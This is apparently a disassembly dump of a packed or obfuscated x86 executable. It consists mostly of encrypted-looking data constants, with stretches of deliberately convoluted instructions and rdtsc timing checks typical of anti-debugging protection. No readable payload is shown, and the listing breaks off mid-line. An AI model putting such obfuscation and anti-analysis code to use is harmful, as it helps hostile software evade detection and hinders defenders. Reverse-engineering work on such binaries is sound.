0D813D6A1h dd 97D611FEh, 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh dd 74C3BB3Ch, 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BADB0h dd 34B4385Fh, 0F40AED5Ah, 0B4362D9Ah, 7E5836h, 9D5D4AD7h dd 66916975h, 0F873F4AAh, 78F6719Eh, 0C427201Eh, 914D49ADh dd 2BB3F766h, 67EE9C7h, 274F8A7Dh, 91ED0EC9h, 923BBD42h dd 0E066DA6Fh, 0ADED46D0h, 0DAF58D2h, 33D7A48Fh, 1CFC6F92h dd 96218AA0h, 906F9235h, 7DF3198h, 0CFAB2344h, 540E4691h dd 0FF3497Fh, 98D716D1h, 6785615Dh, 959D8CBBh, 518FE951h dd 0CB745296h, 76CAFE38h, 8665F343h, 1D9556Bh, 5C21326Ch dd 7B637668h, 0ACD2B87h, 0D92C9BF3h, 63766856h, 42BC1A5Ch dd 0E26D6981h, 638A73h, 0BCB20000h, 0B816FC09h, 5940CF9Dh dd 9D5E13A4h, 17DD0E75h, 3B013339h, 0A7FA001Ah, 2F4EA998h dd 0CC7B557h, 916493EBh, 759E200Ch, 4DFFD712h, 0FA106E8Ah dd 0BD675280h, 1B26954Bh, 0DA1DEAE4h, 0A30426A0h, 759E211Bh dd 61A5140Ah, 4FD25CEBh, 5B9FBC81h, 0B511C963h, 5B8DEF8Ah dd 0C65CAD8Fh, 3A8561AEh, 559651C3h, 0E06FD379h, 41EBE305h dd 0C03A3D1Bh, 6FF424C6h, 759D5CA2h, 958749B1h, 81F62610h dd 0A5C7A2ADh, 2E3C304Eh, 49603328h, 0C197B511h, 8599D97Ah dd 0E05C3865h, 0E4D72D4Ah, 0DCAB2345h, 9E3A0209h, 0D6114F75h dd 2D0D3F97h, 2E238F22h, 0DD13B602h, 0CBFBF8F4h, 239BDD60h dd 454FB847h, 68FFFFFFh, 0BE3F36B4h, 7DF62AC0h, 0B06882FCh dd 4FAD36D4h, 3CA28877h, 3B4F98F6h, 2E4F8A58h, 0B35935B5h dd 15F1CD28h, 0F6615FB9h, 6F925729h, 0F771F24Eh, 828D6D9Fh dd 57D465CEh, 9EFE6F92h, 0A0AF2745h, 3398F1D8h, 0F4BC0DF0h dd 2Ah, 9F637B81h, 7436B6A1h, 89E74F8Ah, 9232D15Eh, 0ED1AE66Fh dd 8A5DCF33h, 6F923441h, 0D326956Bh, 0BC0E1768h, 0F23Bh dd 36B4DC00h, 0D129B258h, 1D589BF5h, 0FF8AECCBh, 0D4B0C8B9h dd 933DCA36h, 2FBEB2C8h, 0D9842CFFh, 3285A703h, 0E275C2BCh dd 759D9464h, 0DBA42258h, 46E4E218h, 279FDF18h, 0E64C9218h dd 0A1675F88h, 4D864F8Ah, 26B9532Bh, 0F921CBC3h, 6B30231Dh dd 886F927Fh, 65D587B0h, 753A2D0Bh, 826F927Fh, 0A2A291BEh dd 0D12B4AA1h, 65F319F5h, 150E0CB1h, 0E710CC8Bh, 0F9D71BC3h dd 85195E6Eh, 50A83349h, 27CFD76h, 6F8F48A6h, 2D4DA817h dd 387B00D3h, 0A0986985h, 39109D46h, 0DB276985h, 5AF0E57Fh dd 9D0FE459h, 20BA0h, 0FED81500h, 3B93D611h, 7452A94Ch dd 0B20C688Bh, 0CCCA22C5h, 31E50A03h, 0F772DDB9h, 0B4AF1876h dd 8EB5432h, 0C62B94F2h, 0B3008D56h, 9A177BADh, 5A34B463h dd 1154EFEDh, 9CAB97B5h, 5C2BA3D9h, 48D51E7Ch, 6F759D5Dh dd 7B7D6493h, 0DFDFF563h, 9B66ECFCh, 0B0AA2B55h, 33EF5698h dd 0E3DB12D5h, 6BE37454h, 0BA4F8AB6h, 9D7B80B4h, 5790ECCEh dd 0C874837Fh, 0C811DA70h, 9E6F928Dh, 71CA605Eh, 0B26E9CFAh dd 0B25836B1h, 0AE58A301h, 51A813E9h, 0BC0DBDEAh, 0F0CE292Ah dd 0EC59E65Ah, 0A6h, 3F36B489h, 4E48A1C0h, 24807892h, 413DBD06h dd 58C200ABh, 80FE759Dh, 25D2B86Ch, 0F2088836h, 2E8A7694h dd 4C878572h, 42BEAC2Ah, 0A8BC32B5h, 46B7B3AAh, 0A9433FBEh dd 9DF970F3h, 5CA63872h, 32C1F162h, 5CBC4F8Ah, 0C327BFF3h dd 41C772E5h, 33A44984h, 0F22EDCBAh, 0BF3F3816h, 7DFD78C7h dd 31D4C301h, 913BE45Ah, 0FFB4h, 0EAE41900h, 279FDA1Dh dd 605E9D58h, 0BE185C97h, 0F8D616D1h, 25F13E0Fh, 0FB7EC9C5h dd 0B8BB0482h, 7CF7403Eh, 323780FEh, 0B40C9142h, 662B7BADh dd 5A34B47Fh, 9AF40AEDh, 36B4362Dh, 0D329B258h, 0C0260CFBh dd 75CB1C7Ah, 604F8D15h, 0CB0C7298h, 0D91CD7AFh, 599752FDh dd 6887DE1Ah, 0A01CFC6Eh, 1269EAC4h, 47239BD3h, 87C3F881h dd 67903CE9h, 1E5F98F8h, 0DC6C3122h, 0B78B6F8Ch, 3EC931DBh dd 18CB45BBh, 6F8CDC93h, 0F57E58A0h, 6F8CDD28h, 0F517F34Fh dd 3A5A3972h, 7B4EE059h, 1B5190EEh, 1878C7A3h, 0C0BE393Ah dd 0A06DF62Ah, 0B758C258h, 0C339BC4Bh, 5A9E21CBh, 0FEBE31Bh dd 0CD245A1Dh, 0C63AD0AEh, 0FB7FC06Ah, 5949D601h, 926E58C2h dd 0B4A21436h, 0F76D4345h, 8F076504h, 7B539651h, 6FDE69D1h dd 9700DB11h, 0A10C20CBh, 219DD396h, 0ACA0Bh, 71F20000h dd 8D6D9FF7h, 2C931B82h, 0AD5F37B4h, 50FAD42Ah, 0FB116D8Fh dd 9D8F0760h, 624A2DAh, 0AB413DBDh, 50FAD410h, 0F416708Fh dd 9C8E0863h, 0E3895319h, 1DBABF57h, 0EF815C4Bh, 231219F2h dd 0FC3CC781h, 0FB01C6C6h, 4EB835Fh, 5C241C87h, 67968h dd 24348900h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 50240C89h dd 0C122D368h, 42055826h, 0C1626E40h, 0BD5504E0h, 94E6780Eh dd 895DE831h, 0EC8158C6h, 4, 81242489h, 42404h, 83590000h dd 348904ECh, 8418F24h, 50240C8Bh, 405E089h, 5000000h dd 4, 5C240487h, 5024348Bh, 405E089h, 83000000h, 48704C0h dd 0CAE95C24h, 10FFFBE9h, 0F1DBAE5h, 0A1F543E3h, 0B84CD19Bh dd 61058D1h, 0E0FFC503h, 4E8BE2D1h, 7DDA9599h, 5272A8CCh dd 2B8D9F82h, 5EEA7B04h, 4F40FA3Fh, 7E1A28BEh, 7D7BD566h dd 34CCCA61h, 78E201BDh, 711C7222h, 5112AFF0h, 0F755A53h dd 2B19683Ah, 3F712A8Dh, 39C89A5Ah, 33374D4Ah, 392B9F48h dd 6016B9A8h, 554B2C1Dh, 5EF11565h, 5CDE3C74h, 5614E9FCh dd 1E4974D9h, 10D87E5Ah, 0DD4797Eh, 0BA38F7Ch, 4BE07558h dd 559E6120h, 1C977FE6h, 972BA91h, 5AD98D8Dh, 6A0610h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 5C8561C3h, 9C89377Ah, 8F0F9B61h, 6, 19E99501h, 8D89060Bh dd 60B174Dh, 11985C7h, 5F60060Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E47B01C3h dd 46A905AFh, 0D381669Eh, 85C75411h, 60B1009h, 0 dd 0FFD38B66h, 0B1A49B5h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 38C6DAB8h dd 1EB1B589h, 95FF060Bh, 60B0AC5h, 14E8h, 0FD4400h, 89993459h dd 317867FEh, 5C7778CDh, 23C96C8Ch, 9D8B60CEh, 60B20F5h dd 0B759589h, 5B61060Bh, 6AD8B0h, 32DD95FFh, 0C08B060Bh dd 0EFD80DEBh, 5580008Eh, 99D49363h, 8DB05BE9h, 0B09819Dh dd 39B806h, 85890000h, 60B0E7Dh, 0E8h, 0D055800h, 89000000h dd 39E903h, 0 dd 0Dh dup(77E6h), 0E9FF77E6h, 0B0h, 0DA8C6660h, 0F04C2F6h dd 0C85h, 1853B00h, 0F060B0Bh, 3684h, 15853B00h, 0F060B03h dd 2A84h, 4D853B00h, 0F060B19h, 1E84h, 15853B00h, 0F060B29h dd 1284h, 29BD8300h, 1060B13h, 5840Fh, 5FE90000h, 8B000000h dd 3C5203D0h, 88BA8Bh, 4A8B0000h, 0FC98578h, 4984h, 0F8C28100h dd 8B000000h, 0C8030C72h, 8B1C598Bh, 0D8031451h, 0C9850B8Bh dd 10840Fh, 0CE3B0000h, 17820Fh, 0CF3B0000h, 0F830Fh, 0C3830000h dd 850F4A04h, 0FFFFFFDCh, 0DE9h, 0D79D8D00h, 0B8060B4Dh dd 5, 0C361E3FFh, 5E8D00Bh, 34000000h, 952AD556h, 665BD78Bh dd 0C377F781h, 700EC381h, 9E90000h, 8A000000h, 3CAF2519h dd 0CC67C2B0h, 34FFC933h, 5850F19h, 0BE000000h, 49042970h dd 69F78158h, 8149E3EDh, 63341FF0h, 0F4F28051h, 0CAFCE881h dd 0B5236238h, 60B2491h, 77DAE881h, 9D8944B7h, 60B0B39h dd 0E90B0489h, 12h, 0C46CB9C5h, 0E737E83Ah, 0E34B3C98h dd 0FA67209Fh, 8E85AFFh, 0C1000000h, 0AFC6F8Dh, 6629C9C2h dd 5F1638BAh, 3104E983h, 0B2949BDh, 0B4F98106h, 0FFFFF90h dd 1885h, 27E900h, 0C9900000h, 7FB769EFh, 40E49A0h, 23B6713Bh dd 4ED442CDh, 8FCA81C0h, 0E95D8C75h, 0FFFFFF66h, 9DB09DAAh dd 4FD2DECEh, 60EB06h, 17h dup(0) dd 0E9000000h, 0B1Ch, 0B10E9h, 65086800h, 0F8E90610h, 68FFFB21h dd 6106628h, 0FB21EEE9h, 669468FFh, 0E4E90610h, 8DFFFB21h dd 74914279h, 22C31021h, 8C79FAD7h, 7B944F76h, 7EC51E21h dd 0B18C9477h, 13C45A2h, 0D4E335D2h, 0B8959E0Fh, 129A56BBh dd 0C5844076h, 37E60AF9h, 63D45EFh, 937A5EB2h, 0B99F4980h dd 76E4D9DEh, 1D0440E4h, 0B78BC394h, 56B7B199h, 6E77C41h dd 881AC0FDh, 941D6064h, 7593E7C3h, 0EDD82C9Dh, 566BB019h dd 0DEE13BE2h, 0EC35E06Ah, 0C2D637D1h, 57DF69F3h, 0C3941D33h dd 0A8A04EB4h, 0F50FB9C1h, 2E0246CAh, 0A9A0F35Ah, 9FE61725h dd 0F2D6E137h, 7B465F0Eh, 1164E907h, 0BCCB3A20h, 2BC5398Dh dd 0AEB5C727h, 0F09728BCh, 64E8BD83h, 7BBE84C0h, 0D3370B3Ah dd 0BA879C09h, 9A54F2D6h, 362D1C6Bh, 0DE0C0F68h, 1BEFDA2Fh dd 0CF670927h, 3A7BBEB7h, 3753DB65h, 0B83A7BBEh, 0A5A7A442h dd 7BBE4501h, 9CF0CA3Ah, 0A5F32228h, 1BE226AAh, 0A4E320Dh dd 292471DCh, 493DB1C3h, 0DE3A7BBEh, 6BA94AE4h, 6F8D5DEh dd 33BD65DBh, 941DCFBBh, 0CC7A40C3h, 0F903A9F0h, 718B72C6h dd 0A286FA4Eh, 24719C4Eh, 0B419FF29h, 0BBD58338h, 559A26F7h dd 0CCD45BBh, 32374005h, 1D780CA0h, 8BCFC094h, 35845Dh dd 0E9140000h, 0B7D35B90h, 38C0941Dh, 0DA40EEC2h, 93750A6Fh dd 764B50BDh, 0CEA04E82h, 941D22A6h, 0FB5DA5C3h, 0D7DE47BDh dd 0F17B04FAh, 2BC5F004h, 54C835h, 6F500000h, 0BD93750Ah dd 941D5D29h, 494EBFC3h, 0B34C8074h, 890787A5h, 6D3EE8C3h dd 2FE45DCEh, 50BE3506h, 609F09h, 4D23078Ah, 33BD47BDh dd 941DCFBBh, 0CC7A40C3h, 0D11B3641h, 0AF3ADC24h, 0AAE1FD2Ch dd 0C403428h, 33BD7CE2h, 941DCFBBh, 0CC7A40C3h, 0D6F22E4h dd 46BA95E3h, 44D50A94h, 0D2D168E4h, 735762B5h, 0BFB001D5h dd 45BDBD9Fh, 87A82897h, 0B8D1B539h, 6C563A61h, 36DE3CD3h dd 1468DCE1h, 0C334930h, 52DC6EE2h, 613BAEDAh, 2FD9213Ah dd 613B27A7h, 27A6F23Ah, 36173CEDh, 17A152Ch, 6FF30000h dd 4DE10B08h, 0C3941D31h, 0A6224A86h, 27C3941Dh, 2D15E2DDh dd 6F745C9h, 2924C2FFh, 8272E1DCh, 754850BDh, 0AAA34D81h dd 0FFE6C59h, 0B76311F5h, 0F8376941h, 6DDC3084h, 665A2E15h dd 65DB52C8h, 93750A6Fh, 0CCD4CB4h, 32374005h, 11D4888Dh dd 944DE99Dh, 0FB047EC0h, 0DB75CAFEh, 3E06h, 0A6FEE00h dd 29BD9375h, 0C3941D5Dh, 948D00BFh, 0B4EB2507h, 0E345BD9Ah dd 33BD47BDh, 941DCFBBh, 188C40C3h, 0C3941D6Ch, 8DBB9FE3h dd 0B9F7580h, 386C81DEh, 7B399FF3h, 35C885h, 6F500000h dd 78E7750Ah, 91F42FE8h, 0F85E8837h, 1D5D29BDh, 47EC394h dd 0BD47BDA2h, 84084150h, 50A7A640h, 0C569FB61h, 0C3941D81h dd 2C123C06h, 0B4A50BDh, 6F33D5DDh, 7AE10B08h, 5492D042h dd 0D39D4BD9h, 948C3B5Bh, 0FA4EB4C3h, 575E0613h, 0B48B937Ah dd 4BA88CC0h, 0F8D5DE4Dh, 6F65DB06h, 0B493750Ah, 88B7CD38h dd 0CCDF85Eh, 25374005h, 45h, 6A1EBDC3h, 0B88B22A3h, 116834D2h dd 29BDA80Eh, 0C3941D5Dh, 0BD76E8D2h, 899F4750h, 0AAF35ABEh dd 41EF2397h, 50BD69AFh, 73DA7445h, 7BB31524h, 2CC885h dd 0F9240000h, 0B44848AEh, 69E53274h, 0A34D8175h, 750A6FBDh dd 5D29BD93h, 7EC3941Dh, 0D027D604h, 0BDD147E1h, 6FD7DE47h dd 57C92D1Ch, 0D1C8857Bh, 50000000h, 0E10B086Fh, 941D314Dh dd 0C8BC86C3h, 3A391461h, 0F8D5DEDAh, 0CB2BCD72h, 3A8EB9CFh dd 0C67539C6h, 9AEE9A12h, 1961C394h, 0DB150B25h, 750A6F65h dd 2A2678E7h, 3A83408Eh, 1074D8E5h, 33E4D3Ch, 0B7AD5BBFh dd 0CCD4CB4h, 25374005h, 4Fh, 750A6FC3h, 5D29BD93h, 0D2C3941Dh dd 33BD76E8h, 0DE5BBDC2h, 0DAFACE9Ch, 4D817569h, 50BDBDA3h dd 43870B4Ah, 6C5DA8A5h, 0CBF60FFEh, 7FE50347h, 0F504F17Bh dd 0BD342AC4h, 0DA744550h, 3F65h, 0BC69FB00h, 0F3975F66h dd 74C3941Dh, 6F7AE00Eh, 0BD93750Ah, 941D5D29h, 0D6047EC3h dd 1DA42044h, 422BC394h, 523073Eh, 0BD47BD1Fh, 84B1C233h dd 7014DC30h, 0F7C3941Dh, 9DE86583h, 857BCAACh, 14F8D5DEh dd 0FF6453A5h, 44C8050Eh, 941D9EECh, 545153C3h, 0FD6F5AAFh dd 1EC80110h, 0B95FA845h, 6427E17Dh, 2B9FF32Ch, 165082DAh dd 6B830D97h, 0C394181Fh, 0D8E73F90h, 2E3C1074h, 9418C286h dd 0D37D45C3h, 7A89297Ah, 91A0F647h, 0A4F8A6BDh, 0B1C34D9Fh dd 9418493Dh, 4AE4DEC3h, 9F243BBAh, 1CCE34BDh, 7A94ABF1h dd 0EA2E5E96h, 0B9FB3A60h, 0E835D42Ch, 261C2C35h, 0F8000000h dd 3E311EBDh, 0FF85F263h, 94B51377h, 4AAE94C3h, 6964B19Ch dd 0B5394DE5h, 0B4CCC394h, 1FC7D039h, 1FC43807h, 0ED5DEF9h dd 941DE2E6h, 0E0E408C3h, 67C3941Dh, 7A5EA413h, 4E594496h dd 0C24B8F73h, 0D83C80BDh, 0AE0E6E2Eh, 0C4DAED20h, 0A3509FDh dd 0B3B93D52h, 94294F3Bh, 86FAC0C3h, 0C6D3D054h, 261CBD83h dd 1B613Dh, 0F6C352DAh, 166C4470h, 186D98A2h, 0D43753DBh dd 42B83070h, 99A69A6Eh, 3CA7B8FDh, 0D9AD5B6Ah, 307086A9h dd 0F801EC7Ch, 53C671C5h, 9D257941h, 0DCD67054h, 0A2123BD1h dd 1F3F2625h, 0D9000000h, 0E10B086Fh, 941D294Dh, 0B6A49EC3h dd 0DE053447h, 2427h, 0B3C83500h, 0DEE93F8Eh, 86FCA30h dd 0DF57E10Bh, 0C3941DABh, 4628C63Ch, 941D4E2Eh, 13D921C3h dd 0B9BA97E2h, 154C85Bh, 9A240000h, 941D7612h, 6781F9C3h dd 710E6FF1h, 0DE65DB9Fh, 0B406F8D5h, 50CCD4Ch, 63253740h dd 0C3000000h, 9F710E6Fh, 1D5D29BDh, 0BFC394h, 0F5935839h dd 76129AA3h, 0F9C394D7h, 8483AD81h, 3741ACBEh, 0CCFDFF18h dd 6BDD7D7h, 47BD72E8h, 0CFBB33BDh, 4EC3941Dh, 40840845h dd 3C0116F7h, 0F6107448h, 27350417h, 1D751195h, 15FAC394h dd 347CB06h, 7B1B012Fh, 27C885h, 0F9240000h, 0E82C90AFh dd 0E6FD83Eh, 0D559EB71h, 0C3941DB1h, 3C22CC36h, 1D5D29BDh dd 47EC394h, 0DE47BDA2h, 7B18FED3h, 0F8D5DE85h, 6F65DB06h dd 0B493750Ah, 50CCD4Ch, 4F253740h, 0B7000000h, 81B23B08h dd 29C710C0h, 750A6F33h, 5D29BD93h, 0BFC3941Dh, 0E10F464Eh dd 246EE62h, 85C3941Dh, 0BDE759BDh, 21D7DE47h, 0F207944Bh dd 0E01F73C7h, 0BF935C4Ch, 4F17BD9h, 1A7EC2FFh, 33BD76ECh dd 941DCFBBh, 0CC7A40C3h, 3357h, 0A6FF100h, 50BD9375h dd 42860A47h, 26A2CAA4h, 5C3941Dh, 47BD2B8Dh, 764B50BDh dd 172275D8h, 5733BBC5h, 98C3941Dh, 0EF56E98Eh, 69512EF6h dd 857B59BFh, 0BFFD6DEh, 941DAADBh, 9B2A68C3h, 0C12B2272h dd 48495C9Ah, 9BB56C26h, 0D6DE38D8h, 52A20BFFh, 0EF29977Bh dd 32E55ADEh, 0B98E9206h, 0A2F25BF5h, 342648ABh, 2CC3946Eh dd 404E924Eh, 0FE8F8932h, 0A757FFFFh, 0C3941D27h, 941C2FDFh dd 1DB4D7C3h, 242C394h, 0E0C3941Dh, 3DEBE635h, 941DD9A9h dd 1DA121C3h, 0B910394h, 0E358EA70h, 1AD09DF4h, 0D79F49A3h dd 0FD99C1ABh, 0C934261Ch, 300D12BAh, 0FA1468DCh, 0FD861616h dd 7932F06Fh, 3E82BFC4h, 18513DDAh, 68FC6E98h, 846D4FBDh dd 2D59CD5Fh, 0A2F0734Fh, 6951AE58h, 6AA3D39Eh, 53341E4Ch dd 26Dh, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h, 92417C84h dd 0DB213C23h, 898E7FE4h, 367EAFB4h dd 0DE2BC41Fh, 618B70E3h, 8478B9CDh, 0D9BF0EC5h, 72F8D5DEh dd 0AADE56E0h, 3DC3941Dh, 1D790DC5h, 61CEC394h, 73573B16h dd 119F11Fh, 0E87AE07Bh, 6FD3EE3Dh, 669FD2Bh, 0F7BD83F2h dd 0BECE5083h, 8E3A7BBEh, 758755EEh, 0F94D7088h, 209B6B85h dd 39446C53h, 99EA1BC1h, 4D56B7ACh, 2CA48C70h, 1C304B5Bh dd 8471FB80h, 0CAA4427Fh, 5CB445A2h, 0EA3AEB4Eh, 0FD2B6FD3h dd 0C736241Eh, 0B35C87B2h, 55E76B66h, 364A8EE6h, 9A639AF4h dd 0F4C8BC89h, 213A425Ah, 3CB0B33Bh, 41B9504Dh, 2F166A9Bh dd 41C9675Bh, 22C85329h, 3D81358Ah, 2E3C065Ah, 449FAAFFh dd 9F635EABh, 7954A04Dh, 0CF97B195h, 223A27BFh, 8456ED8Fh dd 2E087F60h, 2B709D5Ch, 271BF816h, 0F77F8953h, 18098093h dd 475F2E14h, 0AECECE78h, 0C8354795h, 0C63A8EB3h, 84B55C28h dd 300A6602h, 0BF5FAC37h, 0F057B3AAh, 14Dh, 4E95ACF6h dd 0F87B56A1h, 16CDFC0Fh, 4192A1F9h, 0F2615CA4h, 0BBC11C43h dd 69AE5F84h, 161E8F54h, 0BECB243Fh, 41AB5083h, 847B592Dh dd 0F95F2EC5h, 0E7AD0D6Fh, 61B3DDCFh, 980CDE32h, 0BD835EF7h dd 0A09FE748h, 411F8DCh, 961D5C9h, 0F002E873h, 6452087Ch dd 8DBB9F3Ah, 6CB64BE3h, 3307446Fh, 6CB3B934h, 857AC88Ch dd 0E1h, 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh dd 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh dd 0D517E47Fh, 847B3551h, 55CBBAC5h, 0CFBB33BDh, 40C3941Dh dd 0D9AD9CEFh, 576781E5h, 0C12C3E45h, 0FC6E98B7h, 83F27F68h dd 68AF0BDh, 9DE24257h, 76974CA0h, 4CAC102Dh, 0ADC12B30h dd 446C5316h, 92C91367h, 7D3BCC81h, 81FC2FA4h, 662607B0h dd 8103E402h, 5D8BFF77h, 261C304Bh, 8C704F57h, 58AF9E48h dd 0E1D8A69h, 0BFC72033h, 24D15380h, 2A2770D0h, 0BA0E62A6h dd 91A0F746h, 0CE3FE92Dh, 0BF688BCAh, 6C995A65h, 0D5C02A17h dd 0C80CF0CFh, 5CA8451Eh, 15F261h, 73A22E35h, 61A52920h dd 0C3146C7h, 6EF587D7h, 0B0D368FCh, 56AC4E5Ch, 0D3EE3BE2h dd 3F100h, 841B0000h, 0FDD4DE9Ch, 7A57A009h, 0E6D12796h dd 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh, 40798871h dd 0CFFA0DFCh, 3768CF7Bh, 89000061h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 73EFh mov [esp], ebx push eax push edx mov edx, 510B2F31h or edx, 766645B7h shl edx, 6 sub edx, 0C15FB7AAh mov eax, edx pop edx add eax, 78296C42h add eax, 736ABAFBh mov ebp, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], ebp add dword ptr [esp], 194240FAh pop dword ptr [ebx+8] sub dword ptr [ebx+8], 194240FAh mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dw 6326h dd 0B4DE589Ah, 0BBBA1337h, 679AB84Ch, 0C5030610h, 0FE8C38Bh dd 48000000h, 0E37C9C8h, 502D576Ah, 0E46CD956h, 0B96687CEh dd 0E95B6738h, 6, 0D1B08134h, 0C381DAFBh, 6A1Ch, 0CE9h dd 0C7198C00h, 0FBDB3B86h, 1F0601D4h, 80D22BDCh, 34FF64F0h dd 5FCC8A1Ah, 7E9h, 5879F100h, 1FD58DF7h, 0A30BEF81h, 0AB85082h dd 81367635h, 0B497EDC7h, 0C6EF8155h, 0E9596F26h, 0Fh dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 570B638Dh, 48FC68Bh dd 15BEBE13h, 8E0F7E9Fh, 0Dh, 356BBF60h, 8C0F3A65h, 0 dd 2EA8361h, 0BCD48056h, 814A4A58h, 0A64CA7DEh, 94FA815Eh dd 0FFFFF96h, 0FFFF8985h, 8DEE8AFFh, 1069BD8Dh, 89E4B306h dd 0B174D8Dh, 8D096006h, 60B0051h, 0C7614AB1h, 0B011985h dd 647406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0B58B7F43h, 60B2F29h, 0DE9h, 0F8113800h dd 5BA1351Dh, 29FE7348h, 85C7DE98h, 60B1009h, 0 dd 5DB52B50h, 5B060B08h, 0B5FF5B57h, 60B1AA9h, 14E9h, 0E780E200h dd 3894BDCBh, 7DC86CFDh, 0BFCA8D2Ah, 66718B72h, 0ED858B62h dd 0FF060B19h, 0B0AC595h, 14E906h, 541E0000h, 0B744E9A8h dd 5CFFEC70h, 45EF5574h, 0BD6BCAF1h, 6AB474h, 32DD95FFh dd 0C08B060Bh, 0C074FEBh, 0A008D39Fh, 6C3AD078h, 97D7163Fh dd 0C5C72EB9h, 0CB6EAD0Bh, 0E4B90DCAh, 633CF005h, 6A1DF768h dd 0B3DE9184h, 555A46ADh, 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h dd 6427F937h, 625378E9h, 538C51DDh, 760F6A56h, 160DA97Ah dd 361E4195h, 157E953h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0BE913C3h, 73000000h dd 6763C9ACh, 8BB8647h, 0E960C3B8h, 9, 960A9845h, 0EDE7F23Ah dd 611CB4EAh, 6AAEB58Dh, 0CE90610h, 2E000000h, 0EAE0B2D5h dd 1D784338h, 8D2BF3B5h, 0E4D7E85h, 0CE906h, 0F0500000h dd 0FF221291h, 13DCFAF2h, 0D0FF18C9h, 1840Fh, 0C3F50000h dd 0BE860h, 43310000h, 0D6BD6D83h, 0A3324C73h, 0D9BF0F5Fh dd 0A291B85Eh, 0F613392h, 18Eh, 8C66FC00h, 59BE60D9h, 0E847E702h dd 6, 0CE905D72h, 13E9F0BBh, 0A4000000h, 0C70D4059h, 0D13607Ah dd 5D94C0E8h, 4C35F612h, 6158D54Ch, 0F04C1F6h, 3F84h, 1850F00h dd 0FC000000h, 0CB8BFB8Bh, 75AEC032h, 0F7CF2BFDh, 8BF92BD9h dd 0D98B49D7h, 20CD00EBh, 1013Fh, 1874C00Bh, 8B0C708Dh dd 0A6CB8BFAh, 75490A75h, 1B8FAh, 9EB0000h, 0E4EB008Bh dd 0B8h, 6660CF00h, 0B1E4C781h, 860F6061h, 6, 800Fh, 13E80000h dd 7F000000h, 0A2C0E6E1h, 9FA25DA4h, 48032F29h, 3DBFBB6Bh dd 10E9B2AEh, 53000000h, 0A32890C7h, 61E5914Dh, 83008782h dd 59EA00D8h, 485C761h, 3F06106Bh, 0E9000101h, 13Ch, 4Fh dup(0) dd 2859BD83h, 0F01060Bh, 45F84h, 8A0F6000h, 5, 0CA4844BAh dd 488CBF66h, 0C6611BF9h, 0B284585h, 13E94306h, 12000000h dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h, 8D68F2DDh dd 0FFBCF2Eh, 1285h, 0F525000h, 8Eh, 50310F00h, 5A310F52h dd 81585A58h, 0FE782434h, 0FFFC176Ah, 0B1355B5h, 0C850F06h dd 0F000000h, 684h, 840F00h, 8D000000h, 0E7D1885h, 0CE906h dd 0CBDA0000h, 38333106h, 3F8FF292h, 0D0FF3093h, 61D48A60h dd 28F18589h, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0F3BC1FC3h, 0B368BF00h, 8060B177h dd 0FE8FCEAh, 1A000000h, 94A2100Ah, 3D40A9F7h, 0C9319C79h dd 0BA6648BEh, 615A6A1Eh, 284585C6h, 0F950060Bh, 3EF8160h dd 61428950h, 32297B68h, 11E956h, 667C0000h, 953ECDC7h dd 0E5C521D9h, 91B9001Dh, 81D5A739h, 83DB2404h, 0FFF5527Bh dd 0B1355B5h, 858DF806h, 60E7D18h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 66C35242h, 0EB4F0DD8h, 0A6C77996h dd 0B8C0FF7h, 60000000h, 0CBFFF081h, 0D18009B3h, 0D0FF61BBh dd 0C870F60h, 0E8000000h, 6, 7EE82B4Eh, 505F69E2h, 615AA8B5h dd 1F598589h, 0AE9060Bh, 33000000h, 0A83C07BCh, 1480B9E1h dd 0CA68F8C3h, 50DA8189h, 6870F52h, 0F000000h, 89h, 60310F00h dd 6E96160h, 97000000h, 37C740D3h, 585A61CCh, 0E5243481h dd 0F2A0E21h, 28Bh, 0FF616000h, 0B1355B5h, 1820F06h, 0FC000000h dd 7D18858Dh, 14E9060Eh, 0A3000000h, 0CAEB332Ah, 690852Dh dd 73D3B8F8h, 6F62651Bh, 0FF860E5Bh, 6E9D0h, 7ACE0000h dd 9DA59DD1h, 21718589h, 6A060Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0B9EB98C3h, 6E9h, 7AD03800h dd 0C6A18243h, 0B284585h, 0E8F95006h, 4, 979CDC56h, 0CE960h dd 0B52E0000h, 89FAC1C6h, 0AC249499h, 8B661668h, 505061D8h dd 0CE952h, 99450000h, 0E24EC6D8h, 1E0A90D9h, 310F8B09h dd 0F525060h, 8B585A31h, 585A61CAh, 424448Bh, 0DE860h dd 65ED0000h, 0AB825DC4h, 33CD7AD2h, 57F1ADF4h, 8B615F5Ah dd 12820F00h, 50000000h, 0F525052h, 0F585A31h, 860F31h dd 5A000000h, 24448958h, 9E904h, 1A1F0000h, 52A2AE6Dh dd 589CC33Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0D4C35242h, 1B5FFF8h, 60060B0Bh, 2890Fh, 61600000h dd 0B70F6061h, 5F5750F0h, 858D6158h, 